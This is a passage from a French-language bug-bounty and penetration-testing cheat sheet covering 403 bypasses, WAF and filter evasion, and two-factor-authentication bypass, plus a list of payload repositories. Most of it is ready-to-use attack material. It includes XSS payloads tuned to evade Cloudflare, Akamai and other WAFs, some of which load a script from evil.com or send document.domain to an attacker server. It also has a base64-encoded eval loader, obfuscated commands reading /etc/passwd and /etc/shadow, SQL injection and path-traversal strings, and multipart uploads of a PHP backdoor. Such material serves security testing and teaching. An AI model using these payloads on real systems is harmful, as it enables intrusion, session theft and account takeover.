/step/confirm/

Essayer d'ajouter api devant un nom de domaine.

Exemple:

/target.com/users/     <mark style="color:red;">Forbidden</mark>

/api.target.com/users/     <mark style="color:green;">OK</mark>

Essayer d'ajouter .json à la fin de l'url.

Exemple:

/target.com/users/data    <mark style="color:red;">Forbidden</mark>

/target.com/users/data.json    <mark style="color:green;">OK</mark>

Si vous repérez une API avec une version dans l'url, essayer d'utiliser une version obsolète.

Exemple:

/target.com/v2/users/data     <mark style="color:red;">Forbidden</mark>

/target.com/v1/users/data     <mark style="color:green;">OK</mark>

Si vous avez une API, essayer d'ajouter internal à l'URL.

/target.com/v1/users/data      <mark style="color:red;">Forbidden</mark>

/targer.com/v1/internal/users/data      <mark style="color:green;">OK</mark>

Pour les paramètres en "id:XXX", essayer de mettre l'id dans un tableau.

Exemple:

/target.com/user.php?id=XXX     <mark style="color:red;">Forbidden</mark>

/target.com/user.php?id=\[XXX]     <mark style="color:green;">OK</mark>

Essayer de le passer en tant qu'objet json.

/target.com/user.php?id=XXX     <mark style="color:red;">Forbidden</mark>

/target.com/user.php?{"id"=XXX}    <mark style="color:green;">OK</mark>

Essayer de passer par un id légitime.

/target.com/user.php?id=\<victime>     <mark style="color:red;">Forbidden</mark>

/target.com/user.php?id=\<légitime>\&id=\<victime>     <mark style="color:green;">OK</mark>

Essayer de fuzz le paramètre.

Exemple:

/target.com/user.php?id=FUZZ

#### Verb tampering

Essayer toutes les méthodes HTTP.

```
GET 
COPY
OPTIONS
PUT
TRACE
POST
SEARCH
MOVE
PATCH
ACL
ARBITRARY
BASELIN-CONTROL
CHECKIN
CHECKOUT
CONNECT
HEAD
LABEL
LOCK
MERGE
MKACTIVITY
MKCOL
MKWORKSPACE
ORDERPATCH
PROPFIND
REPORT
UNCHECKOUT
UNLOCK
UPDATE
VERSION-CONTROL
```

### Method override

#### Via header

```
X-Http-Method-Override:
X-HTTP-Method-Override:
X-Http-Method:
X-Http-Method-Override:
X-HTTP-Method-Override:
X-Http-Method:
X-HTTP-Method:
X-Method-Override:
X-HTTP-Method:
X-Method-Override:
```

#### Via parametre

```
_method=
method= 
httpMethod= 
_HttpMethod=
```

#### Header injection

```
Referer:
X-Custom-Ip-Authorization:
X-Original-URL:
X-Rewrite-URL:
X-Originating-IP:
X-Forwarded-For:
X-Remote-IP:
X-Client-IP:
X-Host:
X-Forwarded-Host:
```

Essayer les headers en IP avec les plages suivantes:

* 192.168.0.0/16
* 172.16.0.0/12
* 127.0.0.0/8
* 10.0.0.0/8

#### URI tampering

```
/target.com/private
/target.com/private/
/target.com/private//
/target.com/private/*
/target.com/private./.
/target.com/private/*/
/target.com/private&
/target.com/private#
/target.com/private%
/target.com/private%09
/target.com/private../
/target.com/private..;/
/target.com/private..%2f
/target.com/private../.
/target.com/private..%00/
/target.com/private..%0d
/target.com/private..%5c
/target.com/private..%ff/
/target.com/private%2e%2e%2f
/target.com/private.%2e/
/target.com/private%3f
/target.com/private%26
/target.com/private%23
/target.com/private.json
/target.com/private.xml
/target.com/*private
/target.com/*private/
/target.com./.private
/target.com/%20private/
/target.com/%20private%20/

#nginx
/target.com/admin -> 404
/target.com/#/../../admin -> 200
...
...
```

### ISP bypass

via le service Google translate

<https://evil.com/> <mark style="color:red;">Bloqué</mark>

<https://evil.com.translate.goog/> <mark style="color:green;">Bypass</mark>

### CORS bypass

* `Origin:null`
* `Origin:attacker.com`
* `Origin:attacker.target.com`
* `Origin:attackertarget.com`
* `Origin:sub.attackertarget.com`
* `Origin:attacker.com et changer la méthode HTTP GET => POST / POST => GET`
* `Origin:sub.attacker target.com`
* `Origin:sub.attacker%target.com`
* `Origin:attacker.com/target.com`

### SSRF bypass

Si les IP sont blacklistés, il est possible d'essayer de les bypass de ces façons.

Exemple pour IP 127.0.0.1:

```
http://127.0.1
http://127.1
http://0.0.0.0
http://0.0.0.0::1
http://0.0.0.0::1:25
http://0.0.0.0::1:22
http://0.0.0.0::1:3128
http://0
http://0x7f000001
http://213070433
http://3232235521
http://3232235777
http://2852039166
http://017700000001
http://[::]:80
http://0o177.0.0.1
```

#### Whitelist bypass

exemple: "function url must be function.target.com"

bypass:&#x20;

* <https://localhost@function.target.com>
* <https://localhost#@function.target.com> ("#" pour essayer d'enlever le @function.target.com de la requête)&#x20;
* <https://localhost%2523@function.target.com> (avec le "#" double encodé)

### XSS bypass

Il arrive parfois que des entreprises remédient à des XSS en encodant les sorties utilisateur.

Il est donc important d'essayer vos payloads encodés avec burp suite par exemple.

Exemple:

\<img src=x onerror=prompt(document.domain)>

devient

%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E

Ou (double encodé)

%253Cimg%2520src%253Dx%2520onerror%253Dprompt%2528document.domain%2529%253E

### Open redirect

* target\[.]com/?redirect=evil\[.]com => <mark style="color:red;">Warning site</mark>
* target\[.]com/?redirect=evil\[.]cOm => <mark style="color:green;">OK</mark>

### Autre

### Accès à la console d'administration

Il existe parfois un paramètre debug dans un endoint pouvant parfois permettre de bypass une restriction d'accès.

Exemple:

* debug=true
* \_debug=true
* debug=1
* \_debug=1

target.com/admin/console => <mark style="color:red;">403 forbidden</mark>

target.com/admin/console?**debug=true** => <mark style="color:green;">200 OK</mark>


# WAF / Filter bypass

## Sites

* <https://gmsgadget.com/>
* <https://waf-bypass.com/>
* <https://jlajara.gitlab.io/Bypass_WAF_Unicode>

## Methodologie

Le principal défi lorsque vous essayez d'adapter un payload de contournement est de déterminer comment la charge utile est comprise par le pare-feu de l'application Web. Puisqu'un WAF ne répond qu'avec une page d'interdiction ou non, il faut avancer par petites étapes ce qui que prendre beaucoups de temps.

Considérons le simple payload suivant:

\<script>

Voici un exemple de process de contournement:

```
<script> //bloqué

<script/x //bloqué (peut-être une regex "<script.*")

:script/x //OK (bloqué si le payload commence par "<")

<tst> //OK (bloqué si le payload commence par "<" et blacklist "script")

<%ascript> //OK (confirme que la regex fonctionne comme ceci "<[blacklist].*"

Maintenant on peut vérifier les caractères possibles dans le tag comme ceci:
%20 : espace
%3d : '
%27 : =
%28 : (
%29 : )
%09 : tab
%0a : newline
<x%20x%3dx%27x%28x%29x%09x%0a> //bloqué (l'un des caractères est bloqué)

fonctionnement par elimination: on va supprimer les caractères un par un

<x%20x%09x> //OK

<%09script> //OK (le backend ne prend pas en compte le tab donnant le résultat espéré)
```

### Template de test manuel

**Cross-Site scripting**

<pre><code><strong>&#x3C;script>
</strong><strong>&#x3C;svg>
</strong><strong>&#x3C;iframe>
</strong><strong>&#x3C;base>
</strong><strong>&#x3C;img onx=1
</strong><strong>'0">&#x3C;x
</strong><strong>&#x3C;1337onx=1>
</strong><strong>&#x3C;/x>
</strong><strong>"&#x3C;x>"
</strong><strong>&#x3C;x"0'x
</strong></code></pre>

**SQL injection**

<pre><code><strong>' or 1=1 -- x
</strong><strong>\'or+1=''
</strong><strong>' x 1=1
</strong><strong>sleep(4)
</strong><strong>'||1
</strong><strong>' select x
</strong><strong>or/**/and/**/
</strong><strong>' x=1
</strong><strong>x')or('x
</strong></code></pre>

**Local file inclusion**

<pre><code><strong>/etc/passwd
</strong><strong>etcpasswd
</strong>..;/..;/
<strong>x../../x
</strong>../
<strong>../..
</strong>1337../
../..x.png
<strong>./././
</strong><strong>.:./.:./
</strong><strong>.%00./x.php
</strong></code></pre>

### Mindmap de test manuel

<figure><img src="/files/bbtVmcptyvM7qpVwHpnL" alt=""><figcaption></figcaption></figure>

## Bypass de regex / blacklist

<pre><code><strong>regex => &#x3C;.*on.*=.*>
</strong><strong>
</strong><strong>&#x3C;img src=x onerror=alert(1)>  bloqué
</strong><strong>&#x3C;img src=x onerror=alert(1)   pas bloqué
</strong><strong>
</strong><strong>regex => &#x3C;.*on.*=.*
</strong><strong>
</strong>&#x3C;img src=x onerror=alert(1)>  bloqué
&#x3C;img src=x onerror=alert(1)   bloqué

&#x3C;img src=1%0aonerror=alert(1) pas bloqué

regex => .*on(.*|n)=(.*|\n)
blacklist => alert, confirm, prompt, iframe, script, style, base

&#x3C;img src=x onerror=alert(1)>  bloqué
&#x3C;img src=x onerror=alert(1)   bloqué
<strong>&#x3C;img src=1%0aonerror=alert(1) bloqué
</strong><strong>
</strong><strong>&#x3C;img src=x onerror%0a=console.log(1) pas bloqué
</strong></code></pre>

{% hint style="warning" %}
Lorsque vous essayez de contourner un WAF, il est très important de déterminer d'abord comment fonctionne le filtre frontend/backend avant de tenter de l'exploiter. Si l'entrée est automatiquement encodé et n'est donc pas vulnérable, à quoi bon contourner le pare-feu ?
{% endhint %}

Utiliser .%00%./file.php dans l'url.

## Cloudflare

```
<img src=x oNlY=1 oNerror=alert('xxs')//
<img src=x on onerror=alert()>
<Svg Only=1 OnLoad=confirm(1)>
<svg onload=%0Aalert'1'>
<svg/onload=location/**/=’https://your.server/’+document.domain&gt;
<svg/onload=location/**/=’https://
your.server/’+document.domain>
“><sVg/OnLuFy=”X=y”oNloaD=;
1^confirm(1)>/“^1//
<svg onload=prompt%26%23x000000028;document.domain)>
<svg onload=%0Aalert1>
<svg onload=alert%26%230000000040"1")>
%2sscript%2ualert()%2s/script%2u
<svg on onload=(alert)(document.domain)>
<svg onload=alert%26%230000000040"")>
<button/onclick="confirm(document.domain+document.cookie)">CLICK</button>
```

### Faiblesses

* Retour à la ligne qui sépare le payload
* Surplus de parenthèses => **`(sleep((3)))`**
* Payloads sans espaces => **`'or-'1`**
* Blacklist faibles
* Encodage base64

## Akamai

```
<svg onauxclick=(eval)(location.href.split('#')[1])>
<xhzeem/x=” onmouseover=eva&#x6c;?.(id+/(document.domain)/.source) id=confirm>
<img src=x onerror=a=document;cc=a.createElement('script');cc.src='//evil.com/attack.js';a.querySelector('head')append(cc)>
```

### Faiblesses

* esRetour à la ligne qui sépare le payload
* Maths pour comparer ou placer des valeurs => **`(2-10/2)`**
* Double url encoding => **`%2522`**
* Encodage base64
* Fin de tag trop => **`<img/&gt;/onload=... ou <img/>;/onload=...`**
* Espaces avant parenthèses ou quillemets =>&#x20;
* Payloads sans espaces => **`'or-'1`**

## Sucuri

```
1/4script3/4alert(¢xss¢)1/4/script3/4
```

## Fortiweb

```
"><iframe src=//14.rs>
```

## Imperva

```
«sVg OnPointerEnter= "locaction= lavas + cript:ale + 'rt%2 + '81%2° +9%//</div>
```

#### Cloudflare rate limit

Cible: prod.target.com

Il est parfois possible de bypass le rate limit d'un waf Cloudflare en changeant le mot prod à chaque limite atteinte si celui-ci est redirigé vers prod.target.com.

Exemple:&#x20;

* prod.target.com => password1  OK
* prod.target.com => password2  OK
* prod.target.com => password3 Blocked
* crod.target.com =>  prod.target.com => password3 OK

## PHP htmlspecialchars() bypass

PHP 7 et 8 ne filtrent pas le caractère "\\":

payload: *`\x3cimg src=x onerror=alert(1)\x3e@x`*

## Variables globales javascript

```
#bloqué
document.cookie
#bypass
document%20.%20cookie
document/*foo*/./*bar*/cookie
window["document"]["cookie"]

#bloqué
alert(document.cookie)
#bypass
alert(document['cookie'])
window["alert"](window["document"]["cookie"])
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"])
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

self["\x61\x6c\x65\x72\x74"](
    self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
        ["\x63\x6f\x6f\x6b\x69\x65"]
)

self["\x65\x76\x61\x6c"](
  self["\x61\x74\x6f\x62"](
    "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
    c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
    HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
    QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
    oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
    aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
    y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
    5kQ2hpbGQoc2NyaXB0KTs="
  )
)

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
puis,
self[Object.keys(self)[a()]](document.cookie)

#Trouver le numéro d'index de "alert"
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
#l'appeler avec un exemple de numéro d'index "5"
self[Object.keys(self)[5]](document.domain)
```

#### Encoding / Double encoding

<pre><code><strong>#Bloqué
</strong>&#x3C;Svg/x=">"/OnLoAD=confirm()//
#Bypass
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

#Bloqué
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
#Bypass
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

#Bloqué
http://target.com/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
#Bypass
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

#Bloqué
&#x3C;script>confirm()&#x3C;/script>
#Bypass
%253Cscript%253Econfirm()%253C%252Fscript%253E
</code></pre>

## Unicode

```
#Bloqué
<marquee onstart=prompt()>
#Bypass
<marquee onstart=\u0070r\u06f\u006dpt()>

#Bloqué
/?redir=http://google.com
#Bypass
/?redir=http://google。com (Unicode alternative)

#Bloqué
<marquee loop=1 onfinish=alert()>x
#Bypass
<marquee loop=1 onfinish=alert(1)>x (Unicode alternative)

#Bloqué
../../etc/shadow
#Bypass
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
```

## Commentaires

```
#Bloqué
<script>confirm()</script>
#Bypass
<!--><script>confirm/**/()/**/</script>

#Bloqué
/?id=1+union+select+1,2--
#Bypass
/?id=1+un/**/ion+sel/**/ect+1,2--
```

## Caractères spéciaux

```
#Bloqué
/bin/cat /etc/passwd
#Bypass
/???/??t /???/??ss??

#Bloqué
/bin/nc 127.0.0.1 443
#Bypass
/???/n? 2130706433 443

#Bloqué
<script>confirm()</script>
#Bypass
<script>eval('con'+'fi'+'rm()')</script>

#Bloqué
/bin/cat /etc/shadow
#Bypass
/bi'n'''/c''at' /e'tc'/sh''ad'ow

#Bloqué
<iframe/onload='this["src"]="javascript:confirm()"';>
#Bypass
<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:con"+"fir"+"m()"';>
```

## Junk characters

```
#Bloqué
<script>confirm()</script>
#Bypass
<script>+-+-1-+-+confirm()</script>

#Bloqué
<BODY onload=confirm()>
#Bypass
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

#Bloqué
<a href=javascript;alert()>ClickMe
#Bypass
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
```

## Saut de  ligne

```
#Bloqué
<iframe src=javascript:confirm(hacker)">
#Bypass
<iframe
src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hac
ker)">
```

## Variables non initialisées

```
#Bloqué
/bin/cat /etc/shadow
#Bypass
/bin/cat$u /etc/shadow$u
$u/bin$u/cat$u $u/etc$u/shadow$u
```

## Tabs and Line Feeds

```
#Bloqué
<IMG SRC="javascript:confirm();">
#Bypass
<IMG SRC=" javascript:confirm();">
<IMG SRC=" jav ascri pt:confirm ();">

#Bloqué
<iframe src=javascript:confirm()></iframe>
#Bypass
<iframe
src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab
;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m
&Tab;%28&Tab;%29></iframe>
```

## OS injection

`$0<<<$'\$(($((1<<1))#10010111))\$(($((1<<1))#10010000))'`

```
cat /e"t"c/pa"s"swd
cat /e't'c/pa's'swd
cat /etc/pa??wd
cat /etc/pa*wd
cat /et' 'c/passw' 'd
cat /et$()c/pa$()sswd
cat /et${neko}c/pas${poi}swd
/???/??t /???/p??s??
*echo "dwssap/cte/ tac" | rev
$(echo Y2FOIC9ldGMvcGFzc3dkCg== base64 -d)
w\ho\am\i
/\b\i\n/////s\h
who$@ami
xyz%0Acat%20/etc/passwd
IFS=,;`cat<<<uname,-a`
{cat,/etc/passwd}

test=/ehhh/hmtc/pahhh/hmsswd
puis,
cat ${test//hhh\/hm/}
ou
cat ${test//hhh??hm/}
```

## Mutations balise \<a>

<figure><img src="/files/NA6UvQLeBbFEdKalQvnh" alt=""><figcaption></figcaption></figure>

## XML/HTML confusion

mime type => application/xhtml+xml

```
<![CDATA[ ><img src onerror=alert(1)> ]]>
<?img ><img src onerror=alert(1)> ?>
<?xml-stylesheet > <img src=x onerror=(1)> ?>
```

## Changer le content encoding

Il est parfois possible de contourner la protection du WAF en utilisant l'en-tête custom 'Content-Encoding: radomtext'.

## Changer le header pour les upload de fichiers

Certaines librairies plutôt que d'utiliser le nom de l'extension du fichier pour définir son content-type utilisent son header comme "libmagic" par exemple. (#!/bin/node => content-type: application/javascript)

## Multipart parser manipulation

#### Méthode 1: URL encoding > Multipart format

Si le WAF n'a pas de parser multipart, remplacer le body encoding par `multipart/form-data` peut parfois suffir à contourner la validation.

Cela peut se faire simplement sur Burp sans extension en faisant un **clic droit > Change body encoding.**

#### Méthode 2: Dédoubelement de paramètres

Dépendemment du parser utilisé, l'utilisation de deux paramètres similaires avec des valeurs différentes dans l'en-tête `Content-Disposition:` des requêtes multipart peuvent parfois permettre de contourner des restrictions.

Exp:

```http
--xxx
Content-Disposition: form-data; name="password"; name="email"
content
--xxx--

--xxx
Content-Disposition: form-data; name="file"; filename="a.txt"; filename="backdoor.php"

<?php system("id"); ?>
--xxx--
```

#### Méthode 3: Dédoublement de Content-Disposition

De la même manière, utiliser deux en-têtes `Content-Disposition:` dans une même partie peut parfois permettre de valider une entrée spécifique si le parser ne valide qu'une seule d'entre elles.

Exp:

```http
--boundary
Content-Disposition: form-data; name="file"; filename="safe.txt"
Content-Disposition: form-data; name="file"; filename="malicious.php"

<file content>
--boundary--
```

#### Méthode 4: Casser la séquence CRLF

Beaucoup de parsers distinguent les headers du body en recherchant la séquence CRLF `\r\n\r\n` Dans la requête HTTP utilisé à cet effet. De ce fait, en suppriment l'un de ces caractères, certains parsers ne sont pas en capacité de différencier les headers du body et ne parviennent ainsi pas a valider correctement le contenu de la requête.

Exp:

```http
--xxx\r\n
Content-Disposition: form-data; name="file"; filename="backdoor.php"\r\n
Content-Type: text/plain\n <--- \r manquant
\r\n
<?php system("id"); ?>\r\n
--xxx--
```

#### Méthode 5: Supprimer ou remplacer les quotes des paramètres

Dans certains cas, remplacer les quotes par des single quotes ou les supprimer totalement peut permettre de faire confondre au WAF un file upload et un formulaire traditionnel ce qui peut avoir pour effet de contourner la validation de celui-ci.

Exp:

```http
--boundary
Content-Disposition: form-data; name="file"; filename=backdoor.php

<file content>
--boundary--
```

#### Méthode 6: Absence de ending boundary string

Traditionnellement, un format multipart valide comprend plusieurs chaînes appelées "boundary" permettant de séparer les paramètres en parties. Pour que la requête soit valide, il faut que chaque partie ai une chaîne de début **ET** une chaîne de fin. En **PHP**, Ne pas mettre de châine de fin n'a aucun effet sur le traitement de la requête ce qui peut parfois permettre de contourner la validation des WAF.

Exp:

```http
--boundary
Content-Disposition: form-data; name="file"; filename=backdoor.php

<file content>
(no boundary)
```

#### Méthode 7: filename\*utf-8=''

Selon la **RFC 6266**, le paramètre `filename*` permet d'utiliser des caractères spéciaux et encoding dans des requêtes multipart mais n'est pas supporté par tous les languages de programation (exp: PHP) ce qui en fait un outil de contournement de validation très utile pour les uploads de fichiers.

Exp:

```http
--boundary
Content-Disposition: form-data; name="file"; filename*uft-8''backdoor%2ephp

<file content>
--boundary--
```

{% embed url="<https://blog.sicuranext.com/breaking-down-multipart-parsers-validation-bypass/>" %}

## Outils

### Waf-bypass

Analyseur de WAF.

Utilisation:&#x20;

*`$ python3 main.py --host="target.com"`*

ressources: <https://github.com/nemesida-waf/waf-bypass>

### Tips SQLMap

utiliser les arguments `--random-agent --level=5 --risk=3 --tamper="space2comment,between,randomcase,charencode"`


# 2FA

## Mindmap

<figure><img src="/files/eCzkYq2SyvdX2nZ8J4Pi" alt=""><figcaption></figcaption></figure>

## Checklist

#### Méthode 1:

Changer le code 4XX en code 200 OK.

#### Méthode 2:

* Intercepter la demande de 2FA avec burp
* Forward la requête
* Regarder si il n'y a pas de leak en réponse

#### Méthode 3:

Chercher d'éventuels leaks dans les fichiers JS.

#### Méthode 4:

Vérifier si on peu utiliser plusieurs fois le même code.

#### Méthode 5:

* Vérifier si il y a un rate limit en tentant de brute force le code.
* Tenter des contournements de rate limit génériques.
* Vérifier si la fonction de resend ne réinitialise pas le compteur.

#### Méthode 6:

Vérifier si changer de mot de passe ou d'email désactive le 2FA.

#### Méthode 7:

Tester s'il est possible d'utiliser du clickjacking avec des iframes pour forcer l'utilisateur à désactiver son 2FA.

#### Méthode 8:

Tenter d'utiliser un code "null" ou "000000"

Méthode 9:

Tenter de passer la page de 2FA (<https://target.com/~~login>\~\~ => <https://target.com/account>)

Utiliser le header referer pour faire croire à l'application qu'on est bien passé par cette étape.

Exemple:

`GET /account`

`Host: target.com`

`Referer: https://target.com/login`

#### Méthode 10:

Utiliser le code de validation de l'attaquant sur le compte d'une cible.

#### Méthode 11:

Essayer de générer 2 codes de vérifications pour le même compte et regarder si celui-ci est bien changé à chaque demande.

#### Méthode 12:&#x20;

Vérifier si la génération du code est basé sur le moment de la demande en envoyant la demande exactement au même moment. (race condition)

```python
#Script python

import requests
url = "https://target.com/login"
headers = {}
target ={"LOGIN": "<login target>", "PASS": "<password>"}
attacker ={"LOGIN": "<login attacker>", "PASS": "<password>"}
requests.post(url, headers=headers, data=target, verify=False)
requests.post(url, headers=headers, data=attacker, verify=False)
```

#### Méthode 13:

Manipulation des méthodes HTTP, URL, Paramètres (aléatoires ou malformés)

#### Méthode 14:

Se connecter sur des navigateurs différents puis vérifier si activer ou modifier les paramètres de 2FA déconnecte la première session.

#### Méthode 15:

Vérifier la requête d'authentification avec puis sans 2FA permet parfois de relever quelques informations utiles.

<mark style="color:red;">Sans</mark>

Requête:

{"email" : "<abc@gmail.com>" , "password" : " abc1234" , "mfa" : <mark style="color:red;">null</mark> , "code" : ""}

Réponse:

Location: <mark style="color:red;"><https://target.com/user/dashboard></mark>

<mark style="color:green;">Avec</mark>

Requête:

{"email" : "<abc@gmail.com>" , "password" : " abc1234" , "mfa" : <mark style="color:green;">true</mark> , "code" : ""}

Réponse:

Location: <mark style="color:green;"><https://target.com/v1/proxy/authentication/authenticate></mark>

Dans ce cas, peut-être que si on modifie la requête en envoyant ceci avec le 2FA d'activé on pourra bypass le bypass.

{"email" : "<abc@gmail.com>" , "password" : " abc1234" , "mfa" : <mark style="color:red;">null</mark> , "code" : ""}

ou en allant directement sur le lien vers le dashboard.

#### Méthode 16:

Dans le cas ou le 2FA serait géré avec une appli mobile tier type Google authenticator. L'application devrait vous donner des codes de backup uniques à sauvegarder.

Dans ce cas, sélectionner la connexion avec le code de backup et vérifier la bonne validation de la fonctionnalité en entrant un code aléatoire. (Avec un peu de chance aucune vérification n'est faite)

ressource: <https://medium.com/@ultranoob/weird-and-simple-2fa-bypass-without-any-test-b869e09ac261>

#### Méthode 17:

* Envoyer une demande de mot de passe oublié ave 2FA.
* Entrer un mauvais code de vérification.
* Si un code d'erreur est généré dans l'url, essayer de changer la valeur de ce code.

#### Méthode 18:

Si après plusieurs demandes de vérification sont raté, il arrive que certains site demande de se connecter avec username et password après 3 code de vérification raté par exemple.

Dans ce cas voici une technique pour bypass cette méthode.

Dans burp:

Récupérez les page de login et de vérification GET et POST dans le HTTP history.

Allez dans "Projet options" puis dans Session handling rules cliquez sur "Add"

Dans scope choisissez "include all URLs"

Ensuite, dans Details > Rule Actions, cliqez su "Add".

Sélectionnez les requêtes:

* GET /login
* POST /login
* GET /verification

Cliquez sur "OK" puis sur "Test macro", dans la réponse à la requête POST /verification, sélectionnez le dtexte de la demande de code (<mark style="background-color:orange;">Veuillez entrer le code de vérification 4-digit</mark>)&#x20;

Retournez dans Proxy > HTTP history.

Envoyez le POST /verification dans "Intruder".

Bruteforce le paramètre contenant le code de 0000 à 9999.

#### Méthode 19:

* 2FA implémenté en api REST (exp: /rest/login)

Exp: { "username":"user","pass":"password":"SecurityToken":"173572537"}

* Vérifier si un des endpoints accepte SOAP (exp: /endpoint/Soap/version).
* Si c'est le cas, écrire un message sans SecurityToken et envoyer la requête.

Exp:

```xml
<SOAP-ENV:Envelope xmlns:se="">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<login xmlns="">
<username>user</username>
<password>password</password>
</login>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

* Si les développeurs ont oublié d'implémenter le 2FA dans les endpoints SOAP alors vous devriez être connecté

#### Méthode 20:

* Changer d'adresse email

Si un lien est envoyé à l'ancien email pour prévenir du changement et qu'il y a un lien permettant d'annuler le changement,

* Suivre le lien (si il redirige vers la page de connexion)
* Entrer ses identifiants

Si le second facteur n'est pas demandé alors la manipulation a fonctionné.

#### Méthode 21:

Vérifier si il existe une API d'une ancienne version qui n'avait pas encore le 2FA.

#### Méthode 22:

Vérifier la durée de validité du code.

#### Méthode 23:

Vérifier si passer par un lien tier contourne la demande de 2FA (lien de réinitialisation de mot de passe, lien dans une newsletter...)

#### Méthode 24:

Si utilisation de OAuth, tenter de se connecter en OAuth via un sous-domaine et vérifier si la demande de 2FA est effectuée.

Si il n'y a pas de 2FA sur le sous-domaine et que le cookie de session s'applique à des domaines qui demandent du 2FA vous devriez pouvoir ouvrir une session sans avoir besoin de passer par l'étape de 2FA.&#x20;

## Outils

### MFASweep

MFASweep est un script powershell créé spécifiquement pour les contournements de MFA Microsoft (O365, Azure, ADFS...)

Exemple d'utilisation:&#x20;

*`> Invoke-MFASweep -Username target@example.xyz -Password P@ssw0rd123!`*

ressource: <https://github.com/dafthack/MFASweep>


# Charges utiles

## XSS

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md>
* <https://github.com/payloadbox/xss-payload-list>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md>

## SQLi

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection>

## SSRF

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery>

## CRLF

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection>

## CSV

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/csv-injection.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection>

## Command Injection

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection>

## Directory traversal

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal>

## LFI

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion>

## XXE

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection>

## Open redirect

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md>

## RCE

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/rce.md>

## Crypto

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crypto.md>

## Template

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/template-injection.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection>

## XSLT

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xslt.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection>

## Content

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/content-injection.md>

## LDAP

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection>

## NoSQLi

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection>

## GraphQL

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection>

## CSRF

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection>

## IDOR

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References>

## ISCM

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management>

## LaTex

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management>

## OAuth

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth>

## XPATH

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection>

## CORS

* <https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/cors.md>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration>


# CMS (Content Management System)

Techniques de pentest de CMS


# WordPress

Pentest de site WordPress

## Fichiers intéressants

```bash
robots.txt
